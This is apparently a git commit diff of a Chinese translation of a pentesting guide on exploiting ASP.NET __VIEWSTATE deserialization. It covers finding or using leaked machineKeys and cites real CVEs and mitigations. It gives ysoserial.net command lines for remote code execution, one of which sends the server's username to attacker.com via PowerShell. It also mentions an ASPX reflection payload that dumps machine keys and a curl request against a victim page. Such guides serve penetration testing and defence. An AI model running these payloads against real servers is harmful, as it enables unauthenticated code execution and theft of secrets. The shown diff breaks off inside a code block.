Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-20 09:12:22 +00:00
parent 764109c8d8
commit 34e6f9d6d6

View File

@ -1,4 +1,4 @@
# 利用 \_\_VIEWSTATE 而不知其秘密 # 利用 __VIEWSTATE 而不知其秘密
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
@ -12,7 +12,7 @@ ViewState 信息可以通过以下属性或其组合来表征:
- **Base64**: - **Base64**:
- 当 `EnableViewStateMac``ViewStateEncryptionMode` 属性都设置为 false 时,使用此格式。 - 当 `EnableViewStateMac``ViewStateEncryptionMode` 属性都设置为 false 时,使用此格式。
- **Base64 + MAC消息认证码启用**: - **Base64 + 启用 MAC消息认证码**:
- 通过将 `EnableViewStateMac` 属性设置为 true 来激活 MAC。这为 ViewState 数据提供完整性验证。 - 通过将 `EnableViewStateMac` 属性设置为 true 来激活 MAC。这为 ViewState 数据提供完整性验证。
- **Base64 + 加密**: - **Base64 + 加密**:
- 当 `ViewStateEncryptionMode` 属性设置为 true 时应用加密,确保 ViewState 数据的机密性。 - 当 `ViewStateEncryptionMode` 属性设置为 true 时应用加密,确保 ViewState 数据的机密性。
@ -24,7 +24,7 @@ ViewState 信息可以通过以下属性或其组合来表征:
1. 对于 **任何版本的 .NET**,当 MAC 和加密都被禁用时,不需要 MachineKey因此没有适用的方法来识别它。 1. 对于 **任何版本的 .NET**,当 MAC 和加密都被禁用时,不需要 MachineKey因此没有适用的方法来识别它。
2. 对于 **4.5 版本以下**,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。 2. 对于 **4.5 版本以下**,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
3. 对于 **4.5 版本以下**,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。 3. 对于 **4.5 版本以下**,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。
4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true还是一个为 true 另一个为 false都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。 4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true还是一个为 true 另一个为 false都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。
### 测试用例1 EnableViewStateMac=false 和 viewStateEncryptionMode=false ### 测试用例1 EnableViewStateMac=false 和 viewStateEncryptionMode=false
@ -96,13 +96,13 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
``` ```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** 如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)** 继续进行攻击:
``` ```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value} --generator = {__VIWESTATEGENERATOR parameter value}
``` ```
在服务器**未发送**`_VIEWSTATEGENERATOR`参数的情况下,您**不需要**提供`--generator`参数**但需要提供这些** 在服务器**未发送**`_VIEWSTATEGENERATOR`参数的情况下,您**不需要**提供`--generator`参数**而是这些**
```bash ```bash
--apppath="/" --path="/hello.aspx" --apppath="/" --path="/hello.aspx"
``` ```
@ -155,25 +155,24 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证PoC中得到了展示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。 成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出一个出带请求其中包含用户名。这种利用方式在一个概念验证PoC中得到了演示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
### 测试用例 6 使用 ViewStateUserKeys ### 测试用例 6 ViewStateUserKeys 正在使用中
**ViewStateUserKey** 属性可以用来 **防御** **CSRF 攻击**。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成 **ViewState** 有效负载,则 **有效负载将不会被应用程序处理**。\ **ViewStateUserKey** 属性可以用来 **防御** **CSRF 攻击**。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成 **ViewState** 有效负载,则 **有效负载将不会被应用程序处理**。\
您需要使用一个额外的参数正确创建有效负载: 您需要使用一个额外的参数才能正确创建有效负载:
```bash ```bash
--viewstateuserkey="randomstringdefinedintheserver" --viewstateuserkey="randomstringdefinedintheserver"
``` ```
### 成功利用的结果 <a href="#poc" id="poc"></a> ### 成功利用的结果 <a href="#poc" id="poc"></a>
对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 **成功** 工作,则服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。 对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 **成功**,则服务器会响应“**500 Internal server error**”,响应内容为“**该页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
查看 [进一步的信息在这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>) 查看 [进一步的信息在这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### 通过反射转储 ASP.NET 机器密钥 (SharPyShell/SharePoint ToolShell) ### 通过反射转储 ASP.NET 机器密钥 (SharPyShell/SharePoint ToolShell)
能够在目标 Web 根目录中 **上传或执行任意 ASPX 代码** 的攻击者可以直接检索保护 `__VIEWSTATE` 的秘密密钥,而不是进行暴力破解。 能够 **上传或执行任意 ASPX 代码** 的攻击者可以直接检索保护 `__VIEWSTATE` 的秘密密钥,而不是进行暴力破解。一个泄露密钥的最小有效负载利用了内部 .NET 类通过反射:
一个泄露密钥的最小有效负载通过反射利用内部 .NET 类:
```csharp ```csharp
<%@ Import Namespace="System.Web.Configuration" %> <%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Reflection" %>
@ -201,7 +200,7 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
``` ```
这个 **key-exfiltration primitive** 在2025年被大规模利用于本地SharePoint服务器“ToolShell” CVE-2025-53770/53771但它适用于任何可以运行服务器端代码的ASP.NET应用程序。 这个 **key-exfiltration primitive** 在2025年被大规模利用于本地SharePoint服务器“ToolShell” CVE-2025-53770/53771但它适用于任何可以运行服务器端代码的ASP.NET应用程序。
## 2024-2025 真实世界的利用场景和硬编码机器密钥 ## 2024-2025年实际利用场景和硬编码机器密钥
### 微软“公开披露的机器密钥”浪潮2024年12月 2025年2月 ### 微软“公开披露的机器密钥”浪潮2024年12月 2025年2月
微软威胁情报报告了对ASP.NET网站的大规模利用这些网站的 *machineKey* 之前在公共来源GitHub gists、博客文章、粘贴网站上被泄露。对手枚举了这些密钥并使用更新的 `ysoserial.net` 1.41 `--minify``--islegacy` 标志生成有效的 `__VIEWSTATE` gadgets以规避WAF长度限制 微软威胁情报报告了对ASP.NET网站的大规模利用这些网站的 *machineKey* 之前在公共来源GitHub gists、博客文章、粘贴网站上被泄露。对手枚举了这些密钥并使用更新的 `ysoserial.net` 1.41 `--minify``--islegacy` 标志生成有效的 `__VIEWSTATE` gadgets以规避WAF长度限制
@ -211,12 +210,10 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \ --decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify --generator=<VIEWSTATEGEN> --minify
``` ```
旋转静态密钥或在 Web .config 中切换到 *AutoGenerate* 密钥 (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) 可以减轻这一类攻击。 {{#ref}} 旋转静态密钥或在 Web .config 中切换到 *AutoGenerate* 密钥(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)可以减轻这一类攻击。
{{#endref}}
### CVE-2025-30406 Gladinet CentreStack / Triofox 硬编码密钥 ### CVE-2025-30406 Gladinet CentreStack / Triofox 硬编码密钥
Kudelski Security 发现多个 CentreStack / Triofox 版本使用相同的 `machineKey` 值,从而通过 ViewState 伪造实现未经身份验证的远程代码执行 (CVE-2025-30406) Kudelski Security 发现多个 CentreStack / Triofox 版本使用相同的 `machineKey` 值,从而通过 ViewState 伪造实现未经身份验证的远程代码执行CVE-2025-30406
一行利用代码: 一行利用代码:
```bash ```bash